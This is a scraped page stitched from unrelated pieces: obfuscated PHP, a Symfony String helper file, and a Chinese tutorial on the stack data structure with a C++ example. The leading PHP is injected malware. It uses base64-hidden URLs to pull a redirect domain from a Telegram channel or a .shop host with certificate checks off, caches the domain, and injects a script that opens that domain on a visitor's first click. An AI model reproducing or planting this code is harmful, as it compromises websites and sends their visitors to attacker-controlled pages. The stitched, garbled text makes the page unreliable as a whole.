function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45) { if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a) { preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if (empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=') . '97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if ($var_46cae77fe5ea47d71b4e481b77b36db3) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if ($var_ca82733491623ed9ca5b46aa68429a45) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD5jbGlja19yID0gZmFsc2U7IHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixmdW5jdGlvbigpe2RvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgZnVuY3Rpb24oKXsgaWYoY2xpY2tfciA9PSBmYWxzZSkgd2luZG93Lm9wZW4oIg==').$var_ca82733491623ed9ca5b46aa68429a45.base64_decode('Iik7IGNsaWNrX3IgPSB0cnVlO30pO30pOzwvc2NyaXB0Pg=='); } ?> /* * This file is part of the Symfony package. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; if (!\function_exists(u::class)) { function u(?string $string = ''): UnicodeString { return new UnicodeString($string ?? ''); } } if (!\function_exists(b::class)) { function b(?string $string = ''): ByteString { return new ByteString($string ?? ''); } } if (!\function_exists(s::class)) { /** * @return UnicodeString|ByteString */ function s(?string $string = ''): AbstractString { $string = $string ?? ''; return preg_match('//u', $string) ? new UnicodeString($string) : new ByteString($string); } } ​資料結構中的堆疊(Stack):深入解析與應用指南 - OOLIN

​資料結構中的堆疊(Stack):深入解析與應用指南

資料結構

資料結構:堆疊

堆疊(Stack)是資料結構中一種常見且基礎的結構,它具有後進先出(LIFO, Last In First Out)的特性。在許多程式設計場景中,堆疊扮演著重要角色,尤其在遞迴處理、表達式求值、函數呼叫管理等方面更是不可或缺。


一、堆疊的定義

堆疊是一種線性資料結構,只允許在一端進行資料的插入與刪除操作。這一端被稱為”堆疊頂端”(Top),插入操作稱為”壓入”(Push),刪除操作稱為”彈出”(Pop)。

堆疊遵循後進先出(LIFO)的原則,即最後壓入堆疊的元素最先被彈出。


二、堆疊的基本操作

1. 初始化堆疊

建立一個空堆疊,準備進行後續操作。

2. 壓入(Push)

將元素放入堆疊頂端。

3. 彈出(Pop)

從堆疊頂端移除元素。

4. 取頂端元素(Peek 或 Top)

取得堆疊頂端的元素,但不移除。

5. 判斷堆疊是否為空(IsEmpty)

檢查堆疊內是否沒有元素。


三、堆疊的程式碼範例

以下為 C++ 範例:

#include <iostream>
#include <stack>
using namespace std;

int main() {
    stack<int> s;
    s.push(10);
    s.push(20);
    s.push(30);

    cout << "堆疊頂端元素: " << s.top() << endl; // 30

    s.pop();
    cout << "彈出一個後,堆疊頂端元素: " << s.top() << endl; // 20

    cout << "堆疊是否為空: " << (s.empty() ? "是" : "否") << endl;
    return 0;
}

四、堆疊的特性

  1. 後進先出(LIFO):最後加入的元素最先被取出。
  2. 插入和刪除操作僅在堆疊頂端進行。
  3. 操作時間複雜度為 O(1)。

五、堆疊的實作方式

1. 陣列實作

使用陣列作為底層儲存結構,但容量固定,可能會造成空間浪費或超出容量。

2. 鏈結串列實作

使用單向或雙向鏈結串列,每次壓入或彈出時調整指標,避免容量限制。


六、堆疊的應用

1. 遞迴函數的執行

系統會利用堆疊保存函數呼叫過程中的參數與返回位址。

2. 表達式求值

中序轉後序表達式、計算後序表達式值等,都可使用堆疊處理。

3. 括號匹配

檢查表達式中的括號是否成對匹配。

4. 瀏覽器的返回功能

瀏覽器的返回按鈕可視為堆疊的應用,最新的頁面最先返回。


七、堆疊的優缺點

優點:
  • 操作簡單,高效能,Push 和 Pop 時間複雜度皆為 O(1)。
  • 適合處理後進先出的需求場景。
缺點:
  • 容量有限(陣列實作),需要擴充時較麻煩。
  • 僅能存取頂端元素,無法隨機存取。

八、堆疊的時間與空間複雜度

操作時間複雜度
PushO(1)
PopO(1)
TopO(1)
IsEmptyO(1)

空間複雜度:O(n),n 為堆疊中元素數量。


九、最佳實踐

  1. 若需頻繁存取非頂端元素,堆疊不適合,考慮陣列或鏈結串列。
  2. 使用 STL 提供的 stack 類別,避免自行實作常見功能。
  3. 確保 Push 和 Pop 操作的邏輯正確,避免堆疊溢出或空堆疊操作。

十、結論

堆疊作為基本資料結構,在許多場景下都有著不可替代的地位。熟練掌握堆疊的特性與操作,不僅有助於理解遞迴和函數呼叫機制,更能幫助我們在處理特定類型問題時編寫出高效、簡潔的程式碼。

發佈留言